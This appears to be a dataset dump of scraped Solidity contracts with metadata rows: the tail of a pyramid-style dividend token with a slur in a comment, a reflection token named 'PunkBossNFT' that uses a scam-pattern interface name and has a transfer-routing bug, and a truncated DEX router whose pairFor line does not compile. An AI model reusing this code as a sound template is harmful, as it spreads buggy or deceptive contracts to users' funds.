onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice());
}
function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) {
// setup
address _customerAddress = msg.sender;
// make sure we have the requested tokens
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
// withdraw all outstanding dividends first
if (myDividends(true) > 0) {
withdraw();
}
// liquify 10% of the tokens that are transfered
// these are dispersed to shareholders
uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
// burn the fee tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
// exchange tokens
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
// update dividend trackers
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
// disperse dividends among holders
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
// fire event
Transfer(_customerAddress, _toAddress, _taxedTokens);
// ERC20
return true;
}
function totalEthereumBalance() public view returns (uint256) {
return this.balance;
}
/// @dev Retrieve the total token supply.
function totalSupply() public view returns (uint256) {
return tokenSupply_;
}
/// @dev Retrieve the tokens owned by the caller.
function myTokens() public view returns (uint256) {
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus) public view returns (uint256) {
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
/// @dev Retrieve the token balance of any single address.
function balanceOf(address _customerAddress) public view returns (uint256) {
return tokenBalanceLedger_[_customerAddress];
}
/// @dev Retrieve the dividend balance of any single address.
function dividendsOf(address _customerAddress) public view returns (uint256) {
return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
/// @dev Return the sell price of 1 individual token.
function sellPrice() public view returns (uint256) {
// our calculation relies on the token supply, so we need supply. Doh.
if (tokenSupply_ == 0) {
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
/// @dev Return the buy price of 1 individual token.
function buyPrice() public view returns (uint256) {
// our calculation relies on the token supply, so we need supply. Doh.
if (tokenSupply_ == 0) {
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
/// @dev Function for the frontend to dynamically retrieve the price scaling of buy orders.
function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) {
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
/// @dev Function for the frontend to dynamically retrieve the price scaling of sell orders.
function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) {
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
/// @dev Internal function to actually purchase the tokens.
function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns (uint256) {
// data setup
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100);
uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
// no point in continuing execution if OP is a poorfag russian hacker
// (or hackers)
// and yes we know that the safemath function automatically rules out the "greater then" equasion.
require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_);
// is the user referred by a masternode?
if (// is this a referred purchase?
_referredBy != 0x0000000000000000000000000000000000000000 &&
// no cheating!
_referredBy != _customerAddress &&
// does the referrer have at least X whole tokens?
// i.e is the referrer a godly chad masternode
tokenBalanceLedger_[_referredBy] >= stakingRequirement) {
// wealth redistribution
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
// no ref purchase
// add the referral bonus back to the global dividends cake
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
// we can't give people infinite ethereum
if (tokenSupply_ > 0) {
// add tokens to the pool
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / tokenSupply_);
// calculate the amount of tokens the customer receives over his purchase
_fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_)));
} else {
// add tokens to the pool
tokenSupply_ = _amountOfTokens;
}
// update circulating supply & the ledger address for the customer
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
// Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them;
// really i know you think you do but you don't
int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
// fire event
onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice());
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) {
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
((// underflow attempts BTFO
SafeMath.sub((sqrt
((_tokenPriceInitial ** 2)
+
(2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18))
+
((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2))
+
(2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_))), _tokenPriceInitial)) / (tokenPriceIncremental_)) - (tokenSupply_);
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) {
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(// underflow attempts BTFO
SafeMath.sub((((tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18))) - tokenPriceIncremental_) * (tokens_ - 1e18)), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2)
/ 1e18);
return _etherReceived;
}
/// @dev This is where all your gas goes.
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
| 181,013 | 13,131 |
cea701e68e9ac289888b1b80527b83ec10e20fd20f6de6fcef3cd77e08051782
| 18,838 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/b7/b7a084c006aa60e87d0ce98db9a2228f054f6d8a_PunkBossNFT.sol
| 4,189 | 15,807 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface DeployerCERTIK {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract PunkBossNFT is Context, DeployerCERTIK, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _allTotalSupply = 100000000000 * 10**6 * 10**9;
uint256 private _rTotalSupply = (MAX - (MAX % _allTotalSupply));
uint256 private _tFeeTotal;
string private _name = 'PunkBossNFT';
string private _symbol = 'PunkBossNFT';
uint8 private _decimals = 9;
constructor () {
_rOwned[_msgSender()] = _rTotalSupply;
emit Transfer(address(0), _msgSender(), _allTotalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _allTotalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotalSupply = _rTotalSupply.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _allTotalSupply, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotalSupply, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is not excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is not excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotalSupply = _rTotalSupply.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(3);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotalSupply;
uint256 tSupply = _allTotalSupply;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotalSupply, _allTotalSupply);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotalSupply.div(_allTotalSupply)) return (_rTotalSupply, _allTotalSupply);
return (rSupply, tSupply);
}
}
| 79,757 | 13,132 |
8bc64535ce8a89d449d7d314e8635ebbe3543592abd8443efdede31865d2db4f
| 19,746 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/dc/dc72882909252e133a4a46efb135b3b145366eba_PrintyV1Router.sol
| 4,977 | 18,835 |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
interface IBaseV1Factory {
function allPairsLength() external view returns (uint);
function isPair(address pair) external view returns (bool);
function pairCodeHash() external pure returns (bytes32);
function getPair(address tokenA, address token, bool stable) external view returns (address);
function createPair(address tokenA, address tokenB, bool stable) external returns (address pair);
}
interface IBaseV1Pair {
function transferFrom(address src, address dst, uint amount) external returns (bool);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function burn(address to) external returns (uint amount0, uint amount1);
function mint(address to) external returns (uint liquidity);
function getReserves() external view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast);
function getAmountOut(uint, address) external view returns (uint);
}
interface erc20 {
function totalSupply() external view returns (uint256);
function transfer(address recipient, uint amount) external returns (bool);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function balanceOf(address) external view returns (uint);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
function approve(address spender, uint value) external returns (bool);
}
library Math {
function min(uint a, uint b) internal pure returns (uint) {
return a < b ? a : b;
}
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
interface IWAVAX {
function deposit() external payable;
function transfer(address to, uint value) external returns (bool);
function withdraw(uint) external;
}
contract PrintyV1Router {
struct route {
address from;
address to;
bool stable;
}
address public immutable factory;
IWAVAX public immutable wavax;
uint internal constant MINIMUM_LIQUIDITY = 10**3;
bytes32 immutable pairCodeHash;
modifier ensure(uint deadline) {
require(deadline >= block.timestamp, 'BaseV1Router: EXPIRED');
_;
}
constructor(address _factory, address _wavax) {
factory = _factory;
pairCodeHash = IBaseV1Factory(_factory).pairCodeHash();
wavax = IWAVAX(_wavax);
}
receive() external payable {
assert(msg.sender == address(wavax)); // only accept ETH via fallback from the WETH contract
}
function sortTokens(address tokenA, address tokenB) public pure returns (address token0, address token1) {
require(tokenA != tokenB, 'BaseV1Router: IDENTICAL_ADDRESSES');
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'BaseV1Router: ZERO_ADDRESS');
}
// calculates the CREATE2 address for a pair without making any external calls
function pairFor(address tokenA, address tokenB, bool stable) public view returns (address pair) {
(address token0, address token1) = sortTokens(tokenA, tokenB);
pair = address(uint160(uint256(keccak256(abi.encodePacked(hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1, stable)),
pairCodeHash // init code hash)))));
}
// given some amount of an asset and pair reserves, returns an equivalent amount of the other asset
function quoteLiquidity(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) {
require(amountA > 0, 'BaseV1Router: INSUFFICIENT_AMOUNT');
require(reserveA > 0 && reserveB > 0, 'BaseV1Router: INSUFFICIENT_LIQUIDITY');
amountB = amountA * reserveB / reserveA;
}
// fetches and sorts the reserves for a pair
function getReserves(address tokenA, address tokenB, bool stable) public view returns (uint reserveA, uint reserveB) {
(address token0,) = sortTokens(tokenA, tokenB);
(uint reserve0, uint reserve1,) = IBaseV1Pair(pairFor(tokenA, tokenB, stable)).getReserves();
(reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
}
// performs chained getAmountOut calculations on any number of pairs
function getAmountOut(uint amountIn, address tokenIn, address tokenOut) external view returns (uint amount, bool stable) {
address pair = pairFor(tokenIn, tokenOut, true);
uint amountStable;
uint amountVolatile;
if (IBaseV1Factory(factory).isPair(pair)) {
amountStable = IBaseV1Pair(pair).getAmountOut(amountIn, tokenIn);
}
pair = pairFor(tokenIn, tokenOut, false);
if (IBaseV1Factory(factory).isPair(pair)) {
amountVolatile = IBaseV1Pair(pair).getAmountOut(amountIn, tokenIn);
}
return amountStable > amountVolatile ? (amountStable, true) : (amountVolatile, false);
}
// performs chained getAmountOut calculations on any number of pairs
function getAmountsOut(uint amountIn, route[] memory routes) public view returns (uint[] memory amounts) {
require(routes.length >= 1, 'BaseV1Router: INVALID_PATH');
amounts = new uint[](routes.length+1);
amounts[0] = amountIn;
for (uint i = 0; i < routes.length; i++) {
address pair = pairFor(routes[i].from, routes[i].to, routes[i].stable);
if (IBaseV1Factory(factory).isPair(pair)) {
amounts[i+1] = IBaseV1Pair(pair).getAmountOut(amounts[i], routes[i].from);
}
}
}
function isPair(address pair) external view returns (bool) {
return IBaseV1Factory(factory).isPair(pair);
}
function quoteAddLiquidity(address tokenA,
address tokenB,
bool stable,
uint amountADesired,
uint amountBDesired) external view returns (uint amountA, uint amountB, uint liquidity) {
// create the pair if it doesn't exist yet
address _pair = IBaseV1Factory(factory).getPair(tokenA, tokenB, stable);
(uint reserveA, uint reserveB) = (0,0);
uint _totalSupply = 0;
if (_pair != address(0)) {
_totalSupply = erc20(_pair).totalSupply();
(reserveA, reserveB) = getReserves(tokenA, tokenB, stable);
}
if (reserveA == 0 && reserveB == 0) {
(amountA, amountB) = (amountADesired, amountBDesired);
liquidity = Math.sqrt(amountA * amountB) - MINIMUM_LIQUIDITY;
} else {
uint amountBOptimal = quoteLiquidity(amountADesired, reserveA, reserveB);
if (amountBOptimal <= amountBDesired) {
(amountA, amountB) = (amountADesired, amountBOptimal);
liquidity = Math.min(amountA * _totalSupply / reserveA, amountB * _totalSupply / reserveB);
} else {
uint amountAOptimal = quoteLiquidity(amountBDesired, reserveB, reserveA);
(amountA, amountB) = (amountAOptimal, amountBDesired);
liquidity = Math.min(amountA * _totalSupply / reserveA, amountB * _totalSupply / reserveB);
}
}
}
function quoteRemoveLiquidity(address tokenA,
address tokenB,
bool stable,
uint liquidity) external view returns (uint amountA, uint amountB) {
// create the pair if it doesn't exist yet
address _pair = IBaseV1Factory(factory).getPair(tokenA, tokenB, stable);
if (_pair == address(0)) {
return (0,0);
}
(uint reserveA, uint reserveB) = getReserves(tokenA, tokenB, stable);
uint _totalSupply = erc20(_pair).totalSupply();
amountA = liquidity * reserveA / _totalSupply; // using balances ensures pro-rata distribution
amountB = liquidity * reserveB / _totalSupply; // using balances ensures pro-rata distribution
}
function _addLiquidity(address tokenA,
address tokenB,
bool stable,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin) internal returns (uint amountA, uint amountB) {
require(amountADesired >= amountAMin);
require(amountBDesired >= amountBMin);
// create the pair if it doesn't exist yet
address _pair = IBaseV1Factory(factory).getPair(tokenA, tokenB, stable);
if (_pair == address(0)) {
_pair = IBaseV1Factory(factory).createPair(tokenA, tokenB, stable);
}
(uint reserveA, uint reserveB) = getReserves(tokenA, tokenB, stable);
if (reserveA == 0 && reserveB == 0) {
(amountA, amountB) = (amountADesired, amountBDesired);
} else {
uint amountBOptimal = quoteLiquidity(amountADesired, reserveA, reserveB);
if (amountBOptimal <= amountBDesired) {
require(amountBOptimal >= amountBMin, 'BaseV1Router: INSUFFICIENT_B_AMOUNT');
(amountA, amountB) = (amountADesired, amountBOptimal);
} else {
uint amountAOptimal = quoteLiquidity(amountBDesired, reserveB, reserveA);
assert(amountAOptimal <= amountADesired);
require(amountAOptimal >= amountAMin, 'BaseV1Router: INSUFFICIENT_A_AMOUNT');
(amountA, amountB) = (amountAOptimal, amountBDesired);
}
}
}
function addLiquidity(address tokenA,
address tokenB,
bool stable,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external ensure(deadline) returns (uint amountA, uint amountB, uint liquidity) {
(amountA, amountB) = _addLiquidity(tokenA, tokenB, stable, amountADesired, amountBDesired, amountAMin, amountBMin);
address pair = pairFor(tokenA, tokenB, stable);
_safeTransferFrom(tokenA, msg.sender, pair, amountA);
_safeTransferFrom(tokenB, msg.sender, pair, amountB);
liquidity = IBaseV1Pair(pair).mint(to);
}
function addLiquidityAVAX(address token,
bool stable,
uint amountTokenDesired,
uint amountTokenMin,
uint amountAVAXMin,
address to,
uint deadline) external payable ensure(deadline) returns (uint amountToken, uint amountAVAX, uint liquidity) {
(amountToken, amountAVAX) = _addLiquidity(token,
address(wavax),
stable,
amountTokenDesired,
msg.value,
amountTokenMin,
amountAVAXMin);
address pair = pairFor(token, address(wavax), stable);
_safeTransferFrom(token, msg.sender, pair, amountToken);
wavax.deposit{value: amountAVAX}();
assert(wavax.transfer(pair, amountAVAX));
liquidity = IBaseV1Pair(pair).mint(to);
// refund dust eth, if any
if (msg.value > amountAVAX) _safeTransferAVAX(msg.sender, msg.value - amountAVAX);
}
// **** REMOVE LIQUIDITY ****
function removeLiquidity(address tokenA,
address tokenB,
bool stable,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) public ensure(deadline) returns (uint amountA, uint amountB) {
address pair = pairFor(tokenA, tokenB, stable);
require(IBaseV1Pair(pair).transferFrom(msg.sender, pair, liquidity)); // send liquidity to pair
(uint amount0, uint amount1) = IBaseV1Pair(pair).burn(to);
(address token0,) = sortTokens(tokenA, tokenB);
(amountA, amountB) = tokenA == token0 ? (amount0, amount1) : (amount1, amount0);
require(amountA >= amountAMin, 'BaseV1Router: INSUFFICIENT_A_AMOUNT');
require(amountB >= amountBMin, 'BaseV1Router: INSUFFICIENT_B_AMOUNT');
}
function removeLiquidityAVAX(address token,
bool stable,
uint liquidity,
uint amountTokenMin,
uint amountAVAXMin,
address to,
uint deadline) public ensure(deadline) returns (uint amountToken, uint amountAVAX) {
(amountToken, amountAVAX) = removeLiquidity(token,
address(wavax),
stable,
liquidity,
